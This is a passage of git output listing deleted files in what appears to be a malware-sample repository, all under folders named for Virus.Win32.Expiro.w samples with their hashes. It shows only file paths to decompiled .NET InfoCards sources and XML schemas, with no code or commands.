MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xenc-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xml.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-1f15ee7e9f7da02b6bfb4c5a5e6484eb9fa71b82d3699c54bcc7a31794b4a66d/xmldsig-core-schema.xsd delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/AssemblyInfo.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/BrowserNavConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CallMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/CommandStateChangeConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HDC__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HINSTANCE__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/HWND__.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IGNOREMIME.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMAGE_AUX_SYMBOL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_NAME_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/IMPORT_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityApplicationManager.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForVista.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AccessibilityHelperForXpWin2k3.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecision.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AppliesToBehaviorDecisionTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Asn1Utilities.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsymmetricCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AsyncParams.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/AuditLog.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BeginSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BigInt.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/BrowserPolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CancelAsyncOperationRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Canonicalizers.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CheckStoreFileValidityRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ClientUIRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CloseCryptoHandleRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CommunicationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/Constants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CorruptStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CreateCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelector.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CredentialSelectorType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/CustomTokenProvider.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataBlob.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRow.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataRowIndexBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DecryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DeleteStoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayClaimType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/DisplayToken.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedData.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedFileStoreHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptedObjectHeader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EncryptionUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndCreateSecurityTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndGetFileNameFromUserRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/EndSelectCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExceptionTranslationTable.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ExportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FailedToStartupUIException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileAccessException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FileDataSource.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/FreeIndexList.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GenerateDerivedKeyRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenEndpoint.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetBrowserTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCardDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCertificateRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetCryptoTransformRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetFileNameResult.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportFileNameRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetImportedCardRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetIsBrowserClientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetKeyedHashRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLastErrorDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerEntryForRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetLedgerRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetPolicyDetailsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetRecipientRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetTokenRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GetUserPreferenceRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/GlobalId.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HandleDictionary`1.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCoreRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashCryptoSession.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashFinalRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HashUtility.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/HttpProxyTransportBindingElement.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IAccessibilityHelper.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ICanonicalizer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ITokenFactory.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IdentityValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ImportStoreException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexObject.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IndexedDataBuffer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCard.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardBinaryReader.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaim.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardClaimCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardConstants.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardListRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMasterKey.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardMetadataExchangeClient.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardOfflineChainTrustValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardRequestException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardSchemas.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardService.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardServiceClientCredentials.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardUIAgent.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardX509Validator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfoCardXmlSerializer.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InfocardExtendedInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IntermediatePolicyValidator.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidCardException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/InvalidStoreProtectionKeyException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformation.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/IssuerInformationEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KerberosTokenFactoryCredential.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyBlockV2.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/KeyGenRestartCodes.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntry.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LedgerEntryCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LifeTimeMonitor.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListCardsInFileRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ListDependantCardsRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LocalIdCollection.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/LogoValidationException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ManageRequest.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MaxSessionCountExceededException.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/MergeConflictCallback.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMcppMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/NativeMethods.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/OptionalRstParameters.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/ParsedPolicy.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-67b630ead60119692b9abbdfd8717c96904ef041127c2cae033c86b718eaa61e/Microsoft/InfoCards/PasswordValidationException.cs delete mode 100644 